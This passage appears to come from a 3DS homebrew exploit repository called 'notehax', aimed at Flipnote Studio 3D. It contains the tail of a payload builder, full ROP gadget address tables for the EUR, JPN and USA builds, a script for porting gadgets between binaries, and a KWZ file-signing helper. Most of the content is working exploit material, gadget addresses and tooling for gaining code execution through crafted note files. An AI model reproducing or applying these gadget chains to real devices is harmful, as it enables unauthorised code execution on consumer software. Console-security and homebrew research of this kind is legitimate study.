92 | put_label("sdmc_string")
93 | add_ascii("sdmc:\0\0\0")
94 |
95 | put_label("file_path")
96 | add_utf16("sdmc:/notehax/initial.bin\0")
97 |
--------------------------------------------------------------------------------
/ropdb/EUR.py:
--------------------------------------------------------------------------------
1 | ROP_DEST = 0x14655D60 - 0x4
2 | ROP_OFFSET_KSN = 0xEF1AC
3 |
4 | MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x148938
5 |
6 | NOP = 0x142390
7 |
8 | POP_R4LR_BX_R1 = 0x102190
9 | POP_R0PC = 0x2420B8
10 | POP_R1PC = 0x24C158
11 | POP_R3PC = 0x103C00
12 | POP_R4PC = 0x100270
13 | POP_R11PC = 0x129714
14 | POP_R4R5PC = 0x100A90
15 | POP_R4R6PC = 0x29FA40
16 | POP_R0R1R2R3R4PC = 0x15545C
17 | POP_R1R2R3R4R5PC = 0x320E34
18 | POP_R1R2R3R4R5R6R7PC = 0x158058
19 | POP_R3R4R5R6R7R8R9PC = 0x2CEE4C
20 | POP_R4R5R6R7R8R9R10R11PC = 0x13919C
21 | POP_R4R5R6R7R8R9R10R11R12PC = 0x2DD908
22 |
23 | LDR_R0R0_POP_R4PC = 0x1338A8
24 | LDR_R0R0_STR_R0R1_POP_R4PC = 0x115E30
25 | STR_R0R1_POP_R4PC = LDR_R0R0_STR_R0R1_POP_R4PC+0x4
26 | STRB_R0R4_POP_R4PC = 0x100CB0
27 |
28 | ADD_R0R0R4_POP_R4PC = 0x249E88
29 |
30 | SUB_SPSPR3_MOV_R1SP_STR_R3SP_MIN4INC_BLX_R2 = 0x143D8C
31 |
32 | CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC = 0x21D3B8
33 |
34 | STREQ_R0R4_2C_POP_R4PC = 0x2587A4
35 |
36 | LMSI_MEMCMP = 0x1344EC
37 |
38 | GSPGPU_GXTRYENQUEUE = 0x24A304
39 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x12B258
40 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x12B348
41 | GSPGPU_FLUSHDATACACHE = 0x1308BC
42 | GSPGPU_GXCMD4 = 0x12B448
43 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x003A6C40
44 | GSPGPU_HANDLE = 0x3C7D0C
45 |
46 | FS_MOUNTSDMC = 0x25F800
47 | FS_TRYOPENFILE = 0x25EE14
48 | FS_TRYGETSIZE = 0x25EDBC
49 | FS_CLOSEFILE = 0x25EEA8
50 | FS_TRYREADFILE = 0x10E3D0
51 | FSUSER_HANDLE = 0x3B6430
52 |
53 | DSP_UNLOADCOMPONENT = 0x11DE30
54 | DSP_REGISTERINTERRUPTEVENTS = 0x11DEFC
55 | DSP_HANDLE = 0x3B63E4
56 |
57 | SVC_SLEEPTHREAD = 0x24C168
58 | SVC_EXITTHREAD = 0x11BF88
59 |
60 | MAIN_THREAD_BREAK = 0x154D9D00 + 0x8
61 | MAIN_THREAD_POP_PTR = 0x0FFFFCE4
62 |
63 | THREAD1_BREAK = 0x3A6C40 + 0x77
64 |
--------------------------------------------------------------------------------
/ropdb/JPN.py:
--------------------------------------------------------------------------------
1 | ROP_DEST = 0x1464F300 - 0x4
2 | ROP_OFFSET_KSN = 0xEF1AC
3 |
4 | ADD_R0R0R4_POP_R4PC = 0x250290
5 |
6 | CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC = 0x21d644
7 |
8 | DSP_REGISTERINTERRUPTEVENTS = 0x11db70
9 | DSP_UNLOADCOMPONENT = 0x11dadc
10 | DSP_HANDLE = 0x3D2B94
11 |
12 | FS_CLOSEFILE = 0x26a2a4
13 | FS_MOUNTSDMC = 0x26aaf8
14 | FS_TRYGETSIZE = 0x26a1b8
15 | FS_TRYOPENFILE = 0x26a210
16 | FS_TRYREADFILE = 0x10e53c
17 | FSUSER_HANDLE = 0x3D2C28
18 |
19 | GSPGPU_FLUSHDATACACHE = 0x12b6d8
20 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x1266cc
21 | GSPGPU_GXCMD4 = 0x1267cc
22 | GSPGPU_GXTRYENQUEUE = 0x250728
23 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x1265DC
24 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3C0C40
25 | GSPGPU_HANDLE = 0x3E477C
26 |
27 | LDR_R0R0_POP_R4PC = 0x12e8d4
28 | LDR_R0R0_STR_R0R1_POP_R4PC = 0x115cb8
29 | LMSI_MEMCMP = 0x12f3c0
30 |
31 | MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x14356c
32 |
33 | NOP = 0x100b4c
34 |
35 | POP_R0PC = 0x249244
36 | POP_R0R1R2R3R4PC = 0x159358
37 | POP_R11PC = 0x124a1c
38 | POP_R1PC = 0x252618
39 | POP_R1R2R3R4R5PC = 0x3395d4
40 | POP_R1R2R3R4R5R6R7PC = 0x15bf54
41 | POP_R3PC = 0x103c8c
42 | POP_R3R4R5R6R7R8R9PC = 0x1046e8
43 | POP_R4LR_BX_R1 = 0x1021c0
44 | POP_R4PC = 0x100270
45 | POP_R4R5PC = 0x100ac0
46 | POP_R4R5R6R7R8R9R10R11PC = 0x101710
47 | POP_R4R5R6R7R8R9R10R11R12PC = 0x11a310
48 | POP_R4R6PC = 0x2976d4
49 |
50 | STRB_R0R4_POP_R4PC = 0x100ce0
51 | STREQ_R0R4_2C_POP_R4PC = 0x26394c
52 | STR_R0R1_POP_R4PC = 0x115cbc
53 | SUB_SPSPR3_MOV_R1SP_STR_R3SP_MIN4INC_BLX_R2 = 0x13e5b4
54 |
55 | SVC_EXITTHREAD = 0x11bb94
56 | SVC_SLEEPTHREAD = 0x25e71c
57 |
58 | MAIN_THREAD_BREAK = 0x154D9D00 + 0x8
59 | MAIN_THREAD_POP_PTR = 0x0FFFFCE4
60 |
61 | THREAD1_BREAK = 0x3C0C40 + 0x77
62 |
--------------------------------------------------------------------------------
/ropdb/USA.py:
--------------------------------------------------------------------------------
1 | ROP_DEST = 0x146539E0 - 0x4
2 | ROP_OFFSET_KSN = 0xEF1AC
3 |
4 | MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x148938
5 |
6 | NOP = 0x142390
7 |
8 | POP_R4LR_BX_R1 = 0x102190
9 | POP_R0PC = 0x2420B8
10 | POP_R1PC = 0x24C158
11 | POP_R3PC = 0x103C00
12 | POP_R4PC = 0x100270
13 | POP_R11PC = 0x129714
14 | POP_R4R5PC = 0x100A90
15 | POP_R4R6PC = 0x29FA40
16 | POP_R0R1R2R3R4PC = 0x15545C
17 | POP_R1R2R3R4R5PC = 0x320E34
18 | POP_R1R2R3R4R5R6R7PC = 0x158058
19 | POP_R3R4R5R6R7R8R9PC = 0x2CEE4C
20 | POP_R4R5R6R7R8R9R10R11PC = 0x13919C
21 | POP_R4R5R6R7R8R9R10R11R12PC = 0x2DD908
22 |
23 | LDR_R0R0_POP_R4PC = 0x1338A8
24 | LDR_R0R0_STR_R0R1_POP_R4PC = 0x115E30
25 | STR_R0R1_POP_R4PC = LDR_R0R0_STR_R0R1_POP_R4PC+0x4
26 | STRB_R0R4_POP_R4PC = 0x100CB0
27 |
28 | ADD_R0R0R4_POP_R4PC = 0x249E88
29 |
30 | SUB_SPSPR3_MOV_R1SP_STR_R3SP_MIN4INC_BLX_R2 = 0x143D8C
31 |
32 | CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC = 0x21D3B8
33 |
34 | STREQ_R0R4_2C_POP_R4PC = 0x2587A4
35 |
36 | LMSI_MEMCMP = 0x1344EC
37 |
38 | GSPGPU_GXTRYENQUEUE = 0x24A304
39 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x12B258
40 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x12B348
41 | GSPGPU_FLUSHDATACACHE = 0x1308BC
42 | GSPGPU_GXCMD4 = 0x12B448
43 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x003A6C40
44 | GSPGPU_HANDLE = 0x3C7D0C
45 |
46 | FS_MOUNTSDMC = 0x25F800
47 | FS_TRYOPENFILE = 0x25EE14
48 | FS_TRYGETSIZE = 0x25EDBC
49 | FS_CLOSEFILE = 0x25EEA8
50 | FS_TRYREADFILE = 0x10E3D0
51 | FSUSER_HANDLE = 0x3B6430
52 |
53 | DSP_UNLOADCOMPONENT = 0x11DE30
54 | DSP_REGISTERINTERRUPTEVENTS = 0x11DEFC
55 | DSP_HANDLE = 0x3B63E4
56 |
57 | SVC_SLEEPTHREAD = 0x24C168
58 | SVC_EXITTHREAD = 0x11BF88
59 |
60 | MAIN_THREAD_BREAK = 0x154D9D00 + 0x8
61 | MAIN_THREAD_POP_PTR = 0x0FFFFCE4
62 |
63 | THREAD1_BREAK = 0x3A6C40 + 0x77
64 |
65 |
--------------------------------------------------------------------------------
/utils/portRopDb.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import re
3 | import runpy
4 |
5 | BASE_ADDR = 0x100000
6 | cmdargs = sys.argv
7 |
8 | src_codebin = open(cmdargs[1], 'rb').read()
9 | dst_codebin = open(cmdargs[2], 'rb').read()
10 | out_db = open(cmdargs[4], 'w')
11 |
12 | glob = runpy.run_path(cmdargs[3])
13 | gadgets = list(glob.keys() - globals().keys())
14 | gadgets.sort()
15 |
16 | letter = gadgets[0][0]
17 |
18 | for g in gadgets:
19 | found = False
20 | while not found:
21 | print("Size of (in instructions, 0 to skip) : " + g + " ?")
22 | size = int(input())
23 | if size == 0:
24 | found = True
25 | continue
26 | offset = glob[g] - BASE_ADDR
27 | pattern = src_codebin[offset:offset+4*size]
28 | new_off = dst_codebin.find(pattern)
29 | if new_off >= 0:
30 | if g[0] != letter:
31 | letter = g[0]
32 | out_db.write("\n")
33 | out_db.write(g + " = " + hex(new_off+BASE_ADDR) + "\n")
34 | found = True
35 | print("OK")
36 | else:
37 | print("NOT FOUND")
38 |
--------------------------------------------------------------------------------
/utils/signKWZ.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 |
4 | cmdargs = sys.argv
5 |
6 | file_path = cmdargs[1]
7 | os.system("openssl dgst -sha256 -sign key.pem -out signature.bin " + file_path)
8 |
9 | signature = open("signature.bin", "rb").read()
10 | open(file_path, "ab").write(signature)
11 | os.remove("signature.bin")
12 |
--------------------------------------------------------------------------------